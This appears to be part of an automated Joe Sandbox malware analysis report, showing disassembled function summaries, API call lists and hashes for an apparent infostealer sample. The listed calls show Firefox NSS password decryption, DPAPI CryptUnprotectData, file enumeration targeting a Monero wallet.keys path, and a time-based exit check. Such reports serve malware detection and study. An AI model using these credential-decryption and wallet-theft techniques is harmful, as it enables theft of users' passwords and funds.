Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: f97481af64935db1d26c738407fabd919874f3567ca518f233042b599aeb5964
Instruction ID: 0f54ec25a11d0a5f66e5aec30982ec5a4b10bd591364252a334815ea84737609
Opcode Fuzzy Hash: f97481af64935db1d26c738407fabd919874f3567ca518f233042b599aeb5964
Instruction Fuzzy Hash: 22E12072A12159DAEB65FB60DD50EEE7338AF64210F4041D9B44B63095EF346F8ACF60

Function 0100DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,01020C2E), ref: 0100DE5E
StrCmpCA.SHLWAPI(?,010214C8), ref: 0100DEAE
StrCmpCA.SHLWAPI(?,010214CC), ref: 0100DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0100E3E0
FindClose.KERNEL32(000000FF), ref: 0100E3F2

Strings

\*.*, xrefs: 0100DE26

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 7dd29e864c3a16da3da0d1a689909a50f7772a6497d378c08e088c7220af89bb
Instruction ID: b79b6c8a9888012a17b0f26a359dbb509695600cd46b4b8d82f1a93ad950821f
Opcode Fuzzy Hash: 7dd29e864c3a16da3da0d1a689909a50f7772a6497d378c08e088c7220af89bb
Instruction Fuzzy Hash: 50F1AE75911159DADB25FB60DD94EEE7338BF24310F8041DAA48A63094EF346B8ACF60

Function 0100C820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0100C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0100C87C
PK11_GetInternalKeySlot.NSS3 ref: 0100C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0100C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0100C8EB
lstrcat.KERNEL32(?,01020B46), ref: 0100C943
lstrcat.KERNEL32(?,01020B47), ref: 0100C957
PK11_FreeSlot.NSS3(?), ref: 0100C961
lstrcat.KERNEL32(?,01020B4E), ref: 0100C978

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 6e10d9655213e2f325ed58bb8c5da4f17fdbca885a909ee1aac4291b02ecac3a
Instruction ID: 88846876f70b8094b9129a5c8dee3a31cc98d900f38bf3a4439bf5340c4ae7d5
Opcode Fuzzy Hash: 6e10d9655213e2f325ed58bb8c5da4f17fdbca885a909ee1aac4291b02ecac3a
Instruction Fuzzy Hash: 3B418279944219DFEB20CFA4DD89BEEB7B8BB44304F0042A8F509A7284D7745A84CF91

Function 013C4E95 Relevance: 9.1, Strings: 6, Instructions: 1643COMMON

Download Yara Rule

Strings

&:[, xrefs: 013C61A5
{u[w, xrefs: 013C4ECC
yU{, xrefs: 013C626C
~QYv, xrefs: 013C5466
wu[w, xrefs: 013C4EC7
~ D, xrefs: 013C5C65

Memory Dump Source

Source File: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &:[$wu[w$yU{${u[w$~QYv$~ D
API String ID: 0-3809222374
Opcode ID: a9e7b5b7c761fc566e91796cb32aed223943868a91900714218288fe55e3d73b
Instruction ID: ca9bf806664ddad283fdb01381881a78d8406be39bc4c351f76fb60066cd7713
Opcode Fuzzy Hash: a9e7b5b7c761fc566e91796cb32aed223943868a91900714218288fe55e3d73b
Instruction Fuzzy Hash: FDB228F360C200AFE304AE2DEC9567ABBE9EF94720F1A493DE6C5C7744E53598048697

Function 01016920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0101696C
sscanf.NTDLL ref: 01016999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 010169B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 010169C0
ExitProcess.KERNEL32 ref: 010169DA

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 16e5dddb07eb53fdc40121228fb036d89dd6a64c8e671a1db9688968927932b1
Instruction ID: 6ab07bcfdc5d88c5d5798f8d93dc657ce0c8445f96bf51b0feea3ace099d30f1
Opcode Fuzzy Hash: 16e5dddb07eb53fdc40121228fb036d89dd6a64c8e671a1db9688968927932b1
Instruction Fuzzy Hash: AE21FCB5D04209ABDF14EFE4E9499EEB7B9FF48300F04852EE506E3244EB355605CB65

Function 01007240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0100724D
RtlAllocateHeap.NTDLL(00000000), ref: 01007254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 01007281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 010072A4
LocalFree.KERNEL32(?), ref: 010072AE

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 183f511dba7a2a71f3d2cda89d2d63bdedda979e3ff1fd6e98af41d9d282f1a9
Instruction ID: 19420cdd6cc34d1034f424b6731372435a089a1d07a68781bd94eae1f6b459a1
Opcode Fuzzy Hash: 183f511dba7a2a71f3d2cda89d2d63bdedda979e3ff1fd6e98af41d9d282f1a9
Instruction Fuzzy Hash: E30100B5A80208BBEB24DF94DD4AF9D77B8EB44704F104145FB06AB2C4D670AA008B65

Function 01018EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,01005184,40000001,00000000,00000000,?,01005184), ref: 01018EC0

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 36257a25567d1f3d346bec43600df8d4c92b3bd57971f4d2a10e00f00022925e
Instruction ID: b127c1c78a8af653689aab15e276dcb4e0f71b235bd6f22fbb490deddffbefcb
Opcode Fuzzy Hash: 36257a25567d1f3d346bec43600df8d4c92b3bd57971f4d2a10e00f00022925e
Instruction Fuzzy Hash: 37111F74200205BFDB40CFA4E888FAB33EAAF89304F00D449FA598B245D739E941CB60

Function 01009AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,01004EEE,00000000,00000000), ref: 01009AEF
LocalAlloc.KERNEL32(00000040,?,?,?,01004EEE,00000000,?), ref: 01009B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,01004EEE,00000000,00000000), ref: 01009B2A
LocalFree.KERNEL32(?,?,?,?,01004EEE,00000000,?), ref: 01009B3F

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 82555faede864747760481a622e0d696d8c176619825d031b7d7445f88d1db72
Instruction ID: 0705d5f4eed7cf83e7690fcc147bf0d089aa460deb5c04913889ba378db24217
Opcode Fuzzy Hash: 82555faede864747760481a622e0d696d8c176619825d031b7d7445f88d1db72
Instruction Fuzzy Hash: 7111A4B8240208AFEB11CF64D895FAA77B5FB89714F208058FA199F3C4C7B6A901CB50

Function 013C3446 Relevance: 5.4, Strings: 3, Instructions: 1602COMMON

Download Yara Rule

Strings

Owk, xrefs: 013C4226
S^_, xrefs: 013C475C
bUo, xrefs: 013C4109

Memory Dump Source

Source File: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
